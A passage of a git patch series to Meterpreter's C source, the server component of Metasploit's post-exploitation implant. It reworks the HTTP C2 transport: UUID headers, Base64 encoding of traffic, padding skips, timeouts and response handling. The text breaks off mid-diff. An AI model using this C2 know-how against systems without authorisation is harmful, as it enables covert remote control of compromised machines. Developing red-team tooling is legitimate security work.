COMMAND_INLINE_REP(COMMAND_ID_CORE_PATCH_UUID, request_core_patch_uuid), COMMAND_TERMINATOR }; @@ -105,21 +105,19 @@ BOOL ext_cmd_callback(LPVOID pState, LPVOID pData) return FALSE; } -BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result) +BOOL request_core_patch_uuid(Remote* remote, Packet* packet, DWORD* result) { // this is a special case because we don't actually send // response to this. This is a brutal switch without any // other forms of comms, and this is because of stageless // payloads - if (remote->transport->type == METERPRETER_TRANSPORT_TCP) - { - // This shouldn't happen. - *result = ERROR_INVALID_STATE; - } - else + *result = ERROR_INVALID_STATE; + if (remote->transport->type == METERPRETER_TRANSPORT_HTTPS || remote->transport->type == METERPRETER_TRANSPORT_HTTP) { HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + SAFE_FREE(ctx->uuid); ctx->uuid = packet_get_tlv_value_wstring(packet, TLV_TYPE_C2_UUID); + dprintf("[PATCH UUID] New UUID is %S", ctx->uuid); *result = ERROR_SUCCESS; } return TRUE; diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index 782a4002f..2d009556c 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -206,19 +206,16 @@ static BOOL read_response_winhttp(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, */ static BOOL write_to_request(HANDLE hReq, LPVOID buffer, DWORD size) { - if (buffer != NULL && size > 0) + while (buffer != NULL && size > 0) { LPBYTE data = (LPBYTE)buffer; - while (size > 0) + DWORD written = 0; + dprintf("[WINHTTP] writing data to request. %u (0x%x) from %p", size, size, data + written); + if (!WinHttpWriteData(hReq, data + written, size, &written)) { - DWORD written = 0; - dprintf("[WINHTTP] writing data to request. %u (0x%x) from %p", size, size, data + written); - if (!WinHttpWriteData(hReq, data + written, size, &written)) - { - return FALSE; - } - size -= written; + return FALSE; } + size -= written; } return TRUE; } @@ -242,11 +239,43 @@ static BOOL send_request_winhttp(HttpTransportContext* ctx, HANDLE hReq, BOOL is headers = conn->options.headers; } - DWORD headerLength = headers == NULL ? 0 : -1L; + PWSTR outboundHeaders = NULL; + PWSTR uuidHeader = conn->options.uuid_header ? conn->options.uuid_header : ctx->default_options.uuid_header; + if (uuidHeader) + { + // UUID is going in the header, so we need to add it. Let's hope people aren't + // stupid enough to double-up this header. Length needs to include space for \r\n and the colon/space, + // AND the UUID length itself. + size_t extraHeaderLength = wcslen(uuidHeader) + 2 + wcslen(ctx->uuid) + 2; + size_t totalHeaderLength = extraHeaderLength + (headers ? wcslen(headers) : 0) + 2; + outboundHeaders = (PWCHAR)calloc(totalHeaderLength, sizeof(wchar_t)); + + if (headers) + { + wcscat_s(outboundHeaders, totalHeaderLength, headers); + wcscat_s(outboundHeaders, totalHeaderLength, L"\r\n"); + } + wcscat_s(outboundHeaders, totalHeaderLength, uuidHeader); + wcscat_s(outboundHeaders, totalHeaderLength, L": "); + wcscat_s(outboundHeaders, totalHeaderLength, ctx->uuid); + } + else if (headers) + { + outboundHeaders = _wcsdup(headers); + } + + if (outboundHeaders) + { + dprintf("[WINHTTP] Outbound headers for this request: %S", outboundHeaders); + } + + DWORD headerLength = outboundHeaders == NULL ? 0 : -1L; DWORD totalSize = size + conn->options.payload_prefix_size + conn->options.payload_suffix_size; + BOOL result = FALSE; + // Start a request without including any data - if (WinHttpSendRequest(hReq, headers, headerLength, NULL, 0, totalSize, 0)) + if (WinHttpSendRequest(hReq, outboundHeaders, headerLength, NULL, 0, totalSize, 0)) { dprintf("[WINHTTP] Sending prefix"); // Then write the prefix first @@ -258,12 +287,18 @@ static BOOL send_request_winhttp(HttpTransportContext* ctx, HANDLE hReq, BOOL is { dprintf("[WINHTTP] Sending suffix"); // .. then the suffix - return write_to_request(hReq, conn->options.payload_suffix, conn->options.payload_suffix_size); + result = write_to_request(hReq, conn->options.payload_suffix, conn->options.payload_suffix_size); } } } + else + { + dprintf("[WINHTTP] WinHttpSendRequestFailed: %u 0x%x", GetLastError(), GetLastError()); + } - return FALSE; + SAFE_FREE(outboundHeaders); + + return result; } /*! From 5d4579b5a8db320a807f9298a0c1b247649a6b07 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 28 Jul 2025 11:00:56 +1000 Subject: [PATCH 11/24] Fix transport commands and timeout handling --- c/meterpreter/source/metsrv/base_dispatch.c | 14 ++++++++++++++ .../source/metsrv/server_transport_named_pipe.c | 4 +--- c/meterpreter/source/metsrv/server_transport_tcp.c | 4 +--- .../source/metsrv/server_transport_winhttp.c | 9 ++++----- 4 files changed, 20 insertions(+), 11 deletions(-) diff --git a/c/meterpreter/source/metsrv/base_dispatch.c b/c/meterpreter/source/metsrv/base_dispatch.c index 9afb13271..fa57dce6e 100644 --- a/c/meterpreter/source/metsrv/base_dispatch.c +++ b/c/meterpreter/source/metsrv/base_dispatch.c @@ -39,6 +39,20 @@ DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** if (packet_get_tlv(packet, TLV_TYPE_C2, &c2Tlv) == ERROR_SUCCESS) { *transportBuffer = remote->trans_create(remote, packet, &c2Tlv); + + // Default to the same timeouts as the current transport if not specified. + if ((*transportBuffer)->timeouts.comms == 0) + { + (*transportBuffer)->timeouts.comms = remote->transport->timeouts.comms; + } + if ((*transportBuffer)->timeouts.retry_total == 0) + { + (*transportBuffer)->timeouts.retry_total = remote->transport->timeouts.retry_total; + } + if ((*transportBuffer)->timeouts.retry_wait == 0) + { + (*transportBuffer)->timeouts.retry_wait = remote->transport->timeouts.retry_wait; + } } // special case, will still leave this in here even if it's not transport related diff --git a/c/meterpreter/source/metsrv/server_transport_named_pipe.c b/c/meterpreter/source/metsrv/server_transport_named_pipe.c index f42c6e409..06228e570 100644 --- a/c/meterpreter/source/metsrv/server_transport_named_pipe.c +++ b/c/meterpreter/source/metsrv/server_transport_named_pipe.c @@ -638,14 +638,12 @@ static void transport_set_handle_named_pipe(Transport* transport, UINT_PTR handl * @param transport Transport data to create the configuration from. * @param config Pointer to the config block to write to. */ -void transport_write_named_pipe_config(Transport* transport, Packet* configPacket) +void transport_write_named_pipe_config(Transport* transport, Packet* c2Packet) { - Packet* c2Packet = packet_create_group(); packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_URL, transport->url); packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_COMM_TIMEOUT, transport->timeouts.comms); packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_WAIT, transport->timeouts.retry_wait); packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_TOTAL, transport->timeouts.retry_total); - packet_add_group(configPacket, TLV_TYPE_C2, c2Packet); } /*! diff --git a/c/meterpreter/source/metsrv/server_transport_tcp.c b/c/meterpreter/source/metsrv/server_transport_tcp.c index a633be43d..99d7c32f6 100644 --- a/c/meterpreter/source/metsrv/server_transport_tcp.c +++ b/c/meterpreter/source/metsrv/server_transport_tcp.c @@ -814,14 +814,12 @@ DWORD packet_transmit_tcp(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLengt * @param transport Transport data to create the configuration from. * @return config Pointer to the config block to write to. */ -void transport_write_tcp_config(Transport* transport, Packet* configPacket) +void transport_write_tcp_config(Transport* transport, Packet* c2Packet) { - Packet* c2Packet = packet_create_group(); packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_URL, transport->url); packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_COMM_TIMEOUT, transport->timeouts.comms); packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_WAIT, transport->timeouts.retry_wait); packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_TOTAL, transport->timeouts.retry_total); - packet_add_group(configPacket, TLV_TYPE_C2, c2Packet); } /*! diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index 2d009556c..94c44e027 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -1008,18 +1008,18 @@ BOOL set_http_options_to_tlv(Packet* optionsPacket, HttpRequestOptions* sourceOp return TRUE; } -void transport_write_http_config(Transport* transport, Packet* configPacket) +void transport_write_http_config(Transport* transport, Packet* c2Packet) { if (transport->type == METERPRETER_TRANSPORT_HTTP || transport->type == METERPRETER_TRANSPORT_HTTPS) { - Packet* c2Packet = packet_create_group(); packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_URL, transport->url); - packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_UUID, transport->url); packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_COMM_TIMEOUT, transport->timeouts.comms); packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_WAIT, transport->timeouts.retry_wait); packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_TOTAL, transport->timeouts.retry_total); HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_UUID, ctx->uuid); + set_http_options_to_tlv(c2Packet, &ctx->default_options); Packet* getOptionsPacket = packet_create_group(); @@ -1046,8 +1046,6 @@ void transport_write_http_config(Transport* transport, Packet* configPacket) { packet_add_tlv_raw(c2Packet, TLV_TYPE_C2_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); } - - packet_add_group(configPacket, TLV_TYPE_C2, c2Packet); } } @@ -1196,6 +1194,7 @@ Transport* transport_create_http(Packet* packet, Tlv* c2Tlv) transport->timeouts.comms = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_COMM_TIMEOUT); transport->timeouts.retry_total = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_RETRY_TOTAL); transport->timeouts.retry_wait = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_RETRY_WAIT); + transport->type = ctx->ssl ? METERPRETER_TRANSPORT_HTTPS : METERPRETER_TRANSPORT_HTTP; ctx->url = transport->url = url; transport->packet_transmit = packet_transmit_http; From 89e5f41d1abd55b13dcc9ce1b088a21390d0d692 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 28 Jul 2025 14:21:56 +1000 Subject: [PATCH 12/24] Update workflow to use VS 2022 instead of VS 2019 --- .github/workflows/windows_meterpreter.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/windows_meterpreter.yml b/.github/workflows/windows_meterpreter.yml index e4d8b729e..6474001d1 100644 --- a/.github/workflows/windows_meterpreter.yml +++ b/.github/workflows/windows_meterpreter.yml @@ -43,9 +43,9 @@ jobs: script --return --command 'make docker' windows: - runs-on: windows-2019 + runs-on: windows-2022 timeout-minutes: 40 - name: Meterpreter Visual Studio 2019 Build + name: Meterpreter Visual Studio 2022 Build steps: - name: Checkout code uses: actions/checkout@v3 @@ -56,4 +56,4 @@ jobs: shell: cmd run: |- cd c/meterpreter - "C:\Program Files (x86)\Microsoft Visual Studio\2019\Enterprise\Common7\Tools\VsDevCmd.bat" && make.bat + "C:\Program Files (x86)\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\VsDevCmd.bat" && make.bat From b7e42f78e4159ca9237ebd29d50e219ca4590cfc Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 29 Jul 2025 13:31:28 +1000 Subject: [PATCH 13/24] Read POST responses POST requests were being killed off before reading the response. This fixes that issue. --- c/meterpreter/source/metsrv/server_transport_winhttp.c | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index 94c44e027..a56c95c96 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -418,6 +418,13 @@ static DWORD packet_transmit_http(Remote *remote, LPBYTE rawPacket, DWORD rawPac } dprintf("[PACKET TRANSMIT HTTP] request sent.. apparently"); + res = ctx->receive_response(hReq); + if (!res) + { + BREAK_ON_ERROR("[PACKET TRANSMIT HTTP] Failed receive_response"); + } + + dprintf("[PACKET TRANSMIT HTTP] response received. Apparently. %u", GetLastError()); } while(0); ctx->close_req(hReq); From 56f981d48d87b8f7959b06da8b8df92064cc5204 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 30 Jul 2025 15:25:41 +1000 Subject: [PATCH 14/24] C2 encoding and content length for HTTP reads C2 encoding now supported in the GET/POST based on the C2 configuration. Changed up the way the body of an HTTP response is read, so that the content length header is used instead. This means we can read in the entire buffer, remove prefixes/suffixes and do decoding before passing this on. Prior to this, we were using the packet header to figure out how much data to read, and that doesn't makes sense any more. --- c/meterpreter/source/common/common_core.h | 23 +- c/meterpreter/source/common/common_remote.h | 8 +- .../source/metsrv/server_http_utils.c | 187 +++++++++- .../source/metsrv/server_http_utils.h | 3 + .../source/metsrv/server_transport_winhttp.c | 338 ++++++++---------- .../source/metsrv/server_transport_wininet.c | 17 +- 6 files changed, 366 insertions(+), 210 deletions(-) diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h index bcea54b20..9fa8ae982 100644 --- a/c/meterpreter/source/common/common_core.h +++ b/c/meterpreter/source/common/common_core.h @@ -91,10 +91,14 @@ typedef enum /*! @brief An indication of whether the content written to the channel should be compressed. */ #define CHANNEL_FLAG_COMPRESS (1 << 1) - -#define C2_ENCODING_FLAG_B64 (1 << 0) //! straight Base64 encoding -#define C2_ENCODING_FLAG_B64URL (1 << 1) //! encoding Base64 with URL-safe values -#define C2_ENCODING_FLAG_URL (1 << 2) //! straight URL encoding +//! No encoding at all +#define C2_ENCODING_NONE 0 +//! Base64 encoding +#define C2_ENCODING_B64 1 +//! Base64 encoding with URI-safe characters +#define C2_ENCODING_B64URI 2 +//! URL encoding +#define C2_ENCODING_URL 3 /*! @brief Type definition with defines `TlvMetaType` as an double-word. */ typedef DWORD TlvMetaType; @@ -188,11 +192,12 @@ typedef enum TLV_TYPE_C2_PREFIX = TLV_VALUE(TLV_META_TYPE_RAW, 718), ///! Data to prepend to the outgoing payload TLV_TYPE_C2_SUFFIX = TLV_VALUE(TLV_META_TYPE_RAW, 719), ///! Data to append to the outgoing payload TLV_TYPE_C2_ENC = TLV_VALUE(TLV_META_TYPE_UINT, 720), ///! Request encoding flags (Base64|URL|Base64url) - TLV_TYPE_C2_SKIP_COUNT = TLV_VALUE(TLV_META_TYPE_UINT, 721), ///! Number of bytes of the incoming payload to ignore before parsing - TLV_TYPE_C2_UUID_COOKIE = TLV_VALUE(TLV_META_TYPE_STRING, 722), ///! Name of the cookie to put the UUID in - TLV_TYPE_C2_UUID_GET = TLV_VALUE(TLV_META_TYPE_STRING, 723), ///! Name of the GET parameter to put the UUID in - TLV_TYPE_C2_UUID_HEADER = TLV_VALUE(TLV_META_TYPE_STRING, 724), ///! Name of the header to put the UUID in - TLV_TYPE_C2_UUID = TLV_VALUE(TLV_META_TYPE_STRING, 725), ///! The UUID string to use for the C2 transport + TLV_TYPE_C2_PREFIX_SKIP = TLV_VALUE(TLV_META_TYPE_UINT, 721), ///! Size of prefix to skip (in bytes) + TLV_TYPE_C2_SUFFIX_SKIP = TLV_VALUE(TLV_META_TYPE_UINT, 722), ///! Size of suffix to skip (in bytes) + TLV_TYPE_C2_UUID_COOKIE = TLV_VALUE(TLV_META_TYPE_STRING, 723), ///! Name of the cookie to put the UUID in + TLV_TYPE_C2_UUID_GET = TLV_VALUE(TLV_META_TYPE_STRING, 724), ///! Name of the GET parameter to put the UUID in + TLV_TYPE_C2_UUID_HEADER = TLV_VALUE(TLV_META_TYPE_STRING, 725), ///! Name of the header to put the UUID in + TLV_TYPE_C2_UUID = TLV_VALUE(TLV_META_TYPE_STRING, 726), ///! The UUID string to use for the C2 transport TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value. TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value. diff --git a/c/meterpreter/source/common/common_remote.h b/c/meterpreter/source/common/common_remote.h index dbd2a4457..ba4569b81 100644 --- a/c/meterpreter/source/common/common_remote.h +++ b/c/meterpreter/source/common/common_remote.h @@ -24,6 +24,7 @@ typedef struct _SslLib SslLib; typedef struct _Remote Remote; typedef struct _TimeoutSettings TimeoutSettings; typedef struct _HttpTransportContext HttpTransportContext; +typedef struct _HttpConnection HttpConnection; typedef struct _PacketEncryptionContext PacketEncryptionContext; typedef UINT_PTR(*PTransportGetHandle)(Transport* transport); @@ -42,9 +43,9 @@ typedef DWORD(*PServerDispatch)(Remote* remote, THREAD* dispatchThread); typedef DWORD(*PPacketTransmit)(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength); typedef HANDLE(*PCreateHttpRequest)(HttpTransportContext* ctx, BOOL isGet, const char* direction); -typedef BOOL(*PSendHttpRequest)(HttpTransportContext* ctx, HANDLE hReq, BOOL isGet, LPVOID buffer, DWORD size); +typedef BOOL(*PSendHttpRequest)(HttpTransportContext* ctx, HANDLE hReq, HttpConnection* conn, LPVOID buffer, DWORD size); typedef BOOL(*PCloseRequest)(HANDLE hReq); -typedef DWORD(*PValidateResponse)(HANDLE hReq, HttpTransportContext* ctx); +typedef DWORD(*PValidateResponse)(HANDLE hReq, HttpTransportContext* ctx, LPDWORD contentLength); typedef BOOL(*PReceiveResponse)(HANDLE hReq); typedef BOOL(*PReadResponse)(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead); @@ -80,7 +81,8 @@ typedef struct _HttpRequestOptions UINT payload_prefix_size; ///! Size of the payload prefix PBYTE payload_suffix; ///! Bytes to append to outgoing payloads. UINT payload_suffix_size; ///! Size of the payload suffix - UINT payload_skip_count; ///! Number of bytes of the incoming data to skip to reach the payload. + UINT payload_prefix_skip; ///! Size of the incoming prefix to ignore + UINT payload_suffix_skip; ///! Size of the incoming suffix to ignore UINT encode_flags; ///! Flags to indicate what kind of encoding to apply, if any. STRTYPE uuid_get; ///! The name of the GET/query string parameter to put the UUID in (optional). STRTYPE uuid_cookie; ///! The name of the cookie to put the UUID in (optional). diff --git a/c/meterpreter/source/metsrv/server_http_utils.c b/c/meterpreter/source/metsrv/server_http_utils.c index 9fac983f5..96a62dd79 100644 --- a/c/meterpreter/source/metsrv/server_http_utils.c +++ b/c/meterpreter/source/metsrv/server_http_utils.c @@ -4,11 +4,196 @@ */ #include "metsrv.h" +#ifndef CRYPT_STRING_BASE64URI +#define CRYPT_STRING_BASE64URI 0xd +#endif + +/*! + * @brief Decode incoming packet data based on the configuration. + * @param ctx Pointer to the HTTP transport context. + * @param encodedData Pointer to the data that is to be decoded. + * @param encodedDataLen Size, in bytes, of the data to be decoded. + * @param data Pointer that will receive the decoded data. + * @param dataLen Pointer that will receive the length of the decoded data. + * @return FALSE indicates whether to call free() on the returned value. + * @description If no decoding is to be done, the returned buffer will just + * point to the inbound buffer. In this case, the caller should not free() + * the buffer, and will know not to do so by the \c FALSE result. Otherwise + * the caller should free() the \c data buffer when the result is \c TRUE. + */ +BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD encodedDataLen, LPBYTE* data, LPDWORD dataLen) +{ + HttpConnection* conn = &ctx->get_connection; + BOOL result = FALSE; + + switch (conn->options.encode_flags) + { + case C2_ENCODING_URL: + { + // TODO? + break; + } + case C2_ENCODING_B64: + case C2_ENCODING_B64URI: + { + DWORD flags = conn->options.encode_flags == C2_ENCODING_B64 ? CRYPT_STRING_BASE64 : CRYPT_STRING_BASE64URI; + + if (CryptStringToBinaryA(encodedData, encodedDataLen, flags, NULL, dataLen, NULL, NULL)) + { + LPBYTE decoded = (LPBYTE)calloc(sizeof(BYTE), *dataLen + 1); + if (decoded != NULL) + { + if (CryptStringToBinaryA(encodedData, encodedDataLen, flags, decoded, dataLen, NULL, NULL)) + { + result = TRUE; + *data = decoded; + } + else + { + free(decoded); + } + } + } + + break; + } + case C2_ENCODING_NONE: + default: + { + // do nothing here, as the data doesn't need to be handled + break; + } + } + + if (!result) + { + *data = encodedData; + *dataLen = encodedDataLen; + } + + return result; +} + +/*! + * @brief Encoding outgoing packet data based on the configuration. + * @param ctx Pointer to the HTTP transport context. + * @param data Pointer to the data to be encoded. + * @param dataLen Length of the data to be encoded. + * @param encodedData Pointer that will receive the encoded data. + * @param encodedDataLen Size, in bytes, of the encoded data. + * @return FALSE indicates whether to call free() on the returned value. + * @description If no encoding is to be done, the returned buffer will just + * point to the inbound buffer. In this case, the caller should not free() + * the buffer, and will know not to do so by the \c FALSE result. Otherwise + * the caller should free() the \c data buffer when the result is \c TRUE. + */ +BOOL encode_raw_packet(HttpTransportContext* ctx, LPBYTE data, DWORD dataLen, LPBYTE* encodedData, LPDWORD encodedDataLen) +{ + HttpConnection* conn = &ctx->post_connection; + BOOL result = FALSE; + + switch (conn->options.encode_flags) + { + case C2_ENCODING_URL: + { + // TODO? + break; + } + case C2_ENCODING_B64: + case C2_ENCODING_B64URI: + { + DWORD flags = conn->options.encode_flags == C2_ENCODING_B64 ? CRYPT_STRING_BASE64 : CRYPT_STRING_BASE64URI; + flags |= CRYPT_STRING_NOCRLF; + + if (CryptBinaryToStringA(data, dataLen, flags, NULL, encodedDataLen)) + { + LPBYTE encoded = (LPBYTE)calloc(sizeof(BYTE), *encodedDataLen + 1); + if (encoded != NULL) + { + if (CryptBinaryToStringA(data, dataLen, flags, encoded, encodedDataLen)) + { + result = TRUE; + *encodedData = encoded; + } + else + { + free(encoded); + } + } + } + + break; + } + case C2_ENCODING_NONE: + default: + { + // do nothing here, as the data doesn't need to be handled + break; + } + } + + if (!result) + { + *encodedData = data; + *encodedDataLen = dataLen; + } + + return result; +} + +/*! + * @brief Generate a set of valid HTTP headers for the given connection. + * @param ctx Pointer to the HTTP transport context. + * @param conn Pointer to the connection that contains the header configuration. + * @return Pointer to the headers that are generated. This must be free()'d by the caller. + */ +PWSTR generate_headers(HttpTransportContext* ctx, HttpConnection* conn) +{ + PWSTR headers = ctx->default_options.headers; + + if (conn->options.headers) + { + headers = conn->options.headers; + } + + PWSTR outboundHeaders = NULL; + PWSTR uuidHeader = conn->options.uuid_header ? conn->options.uuid_header : ctx->default_options.uuid_header; + if (uuidHeader) + { + // UUID is going in the header, so we need to add it. Let's hope people aren't + // stupid enough to double-up this header. Length needs to include space for \r\n and the colon/space, + // AND the UUID length itself. + size_t extraHeaderLength = wcslen(uuidHeader) + 2 + wcslen(ctx->uuid) + 2; + size_t totalHeaderLength = extraHeaderLength + (headers ? wcslen(headers) : 0) + 2; + outboundHeaders = (PWCHAR)calloc(totalHeaderLength, sizeof(wchar_t)); + + if (headers) + { + wcscat_s(outboundHeaders, totalHeaderLength, headers); + wcscat_s(outboundHeaders, totalHeaderLength, L"\r\n"); + } + wcscat_s(outboundHeaders, totalHeaderLength, uuidHeader); + wcscat_s(outboundHeaders, totalHeaderLength, L": "); + wcscat_s(outboundHeaders, totalHeaderLength, ctx->uuid); + } + else if (headers) + { + outboundHeaders = _wcsdup(headers); + } + + if (outboundHeaders) + { + dprintf("[WINHTTP] Outbound headers for this request: %S", outboundHeaders); + } + + return outboundHeaders; +} + /*! * @brief Generate the correct URI for the given HTTP connection. * @param ctx Reference to the \c HttpTransportContext associated with the request. * @param HttpConnect Reference to the \c HttpConnection associated with the request. - * @return Pointer to a wchar_t string containing the URI. Should be freed by the caller. + * @return Pointer to a wchar_t string containing the URI. Should be free()'d by the caller. * @details This function will steal the UUID from the existing base URI and make sure it * is included with any outbound URI that is associated with the request, and hence allows * for the URI to change between get and post requests based on a C2 profile. diff --git a/c/meterpreter/source/metsrv/server_http_utils.h b/c/meterpreter/source/metsrv/server_http_utils.h index 7e20150ad..e1c37fa06 100644 --- a/c/meterpreter/source/metsrv/server_http_utils.h +++ b/c/meterpreter/source/metsrv/server_http_utils.h @@ -7,6 +7,9 @@ #include "metsrv.h" +BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD encodedDataLen, LPBYTE* data, LPDWORD dataLen); +BOOL encode_raw_packet(HttpTransportContext* conn, LPBYTE data, DWORD dataLen, LPBYTE* encodedData, LPDWORD encodedDataLen); +PWSTR generate_headers(HttpTransportContext* ctx, HttpConnection* conn); PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn); #endif diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index a56c95c96..382124fef 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -224,58 +224,22 @@ static BOOL write_to_request(HANDLE hReq, LPVOID buffer, DWORD size) * @brief Wrapper around WinHTTP-specific sending functionality. * @param ctx Pointer to the current HTTP transport context. * @param hReq HTTP request handle. - * @param isGet Specifies if this request is a GET request (compared to POST). + * @param conn Pointer to the GET/POST connection config. * @param buffer Pointer to the buffer to receive the data. * @param size Buffer size. * @return An indication of the result of sending the request. */ -static BOOL send_request_winhttp(HttpTransportContext* ctx, HANDLE hReq, BOOL isGet, LPVOID buffer, DWORD size) +static BOOL send_request_winhttp(HttpTransportContext* ctx, HANDLE hReq, HttpConnection* conn, LPVOID buffer, DWORD size) { - PWSTR headers = ctx->default_options.headers; - HttpConnection* conn = isGet ? &ctx->get_connection : &ctx->post_connection; - - if (conn->options.headers) - { - headers = conn->options.headers; - } - - PWSTR outboundHeaders = NULL; - PWSTR uuidHeader = conn->options.uuid_header ? conn->options.uuid_header : ctx->default_options.uuid_header; - if (uuidHeader) - { - // UUID is going in the header, so we need to add it. Let's hope people aren't - // stupid enough to double-up this header. Length needs to include space for \r\n and the colon/space, - // AND the UUID length itself. - size_t extraHeaderLength = wcslen(uuidHeader) + 2 + wcslen(ctx->uuid) + 2; - size_t totalHeaderLength = extraHeaderLength + (headers ? wcslen(headers) : 0) + 2; - outboundHeaders = (PWCHAR)calloc(totalHeaderLength, sizeof(wchar_t)); - - if (headers) - { - wcscat_s(outboundHeaders, totalHeaderLength, headers); - wcscat_s(outboundHeaders, totalHeaderLength, L"\r\n"); - } - wcscat_s(outboundHeaders, totalHeaderLength, uuidHeader); - wcscat_s(outboundHeaders, totalHeaderLength, L": "); - wcscat_s(outboundHeaders, totalHeaderLength, ctx->uuid); - } - else if (headers) - { - outboundHeaders = _wcsdup(headers); - } + BOOL result = FALSE; - if (outboundHeaders) - { - dprintf("[WINHTTP] Outbound headers for this request: %S", outboundHeaders); - } + PWSTR headers = generate_headers(ctx, conn); + DWORD headerLength = headers == NULL ? 0 : -1L; - DWORD headerLength = outboundHeaders == NULL ? 0 : -1L; DWORD totalSize = size + conn->options.payload_prefix_size + conn->options.payload_suffix_size; - BOOL result = FALSE; - // Start a request without including any data - if (WinHttpSendRequest(hReq, outboundHeaders, headerLength, NULL, 0, totalSize, 0)) + if (WinHttpSendRequest(hReq, headers, headerLength, NULL, 0, totalSize, 0)) { dprintf("[WINHTTP] Sending prefix"); // Then write the prefix first @@ -296,7 +260,7 @@ static BOOL send_request_winhttp(HttpTransportContext* ctx, HANDLE hReq, BOOL is dprintf("[WINHTTP] WinHttpSendRequestFailed: %u 0x%x", GetLastError(), GetLastError()); } - SAFE_FREE(outboundHeaders); + SAFE_FREE(headers); return result; } @@ -315,9 +279,10 @@ static BOOL receive_response_winhttp(HANDLE hReq) * @brief Wrapper around WinHTTP-specific request response validation. * @param hReq HTTP request handle. * @param ctx The HTTP transport context. + * @param contentLength Pointer to a DWORD receiving the content length of the response. * @return An indication of the result of getting a response. */ -static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx) +static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx, LPDWORD contentLength) { DWORD statusCode; DWORD statusCodeSize = sizeof(statusCode); @@ -383,14 +348,18 @@ static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx) } } - return ERROR_SUCCESS; + // if we get here, then we should be good to look at the content length + DWORD size = sizeof(DWORD); + + WinHttpQueryHeaders(hReq, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, contentLength, &size, WINHTTP_NO_HEADER_INDEX); + return GetLastError(); } /*! - * @brief Windows-specific function to transmit a packet via HTTP(s) using winhttp _and_ destroy it. + * @brief Transmit a packet via HTTP(s) using winhttp _and_ destroy it. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the \c Packet that is to be sent. - * @param completion Pointer to the completion routines to process. * @return An indication of the result of processing the transmission request. */ static DWORD packet_transmit_http(Remote *remote, LPBYTE rawPacket, DWORD rawPacketLength) @@ -399,6 +368,10 @@ static DWORD packet_transmit_http(Remote *remote, LPBYTE rawPacket, DWORD rawPac HINTERNET hReq; BOOL res; HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + LPBYTE encodedPacket = NULL; + DWORD encodedPacketLength = 0; + + BOOL freeEncodedPacket = encode_raw_packet(ctx, rawPacket, rawPacketLength, &encodedPacket, &encodedPacketLength); lock_acquire(remote->lock); @@ -411,7 +384,7 @@ static DWORD packet_transmit_http(Remote *remote, LPBYTE rawPacket, DWORD rawPac } dprintf("[PACKET TRANSMIT HTTP] Request created, sending via POST"); - res = ctx->send_req(ctx, hReq, FALSE, rawPacket, rawPacketLength); + res = ctx->send_req(ctx, hReq, &ctx->post_connection, encodedPacket, encodedPacketLength); if (!res) { BREAK_ON_ERROR("[PACKET TRANSMIT HTTP] Failed send_req"); @@ -429,47 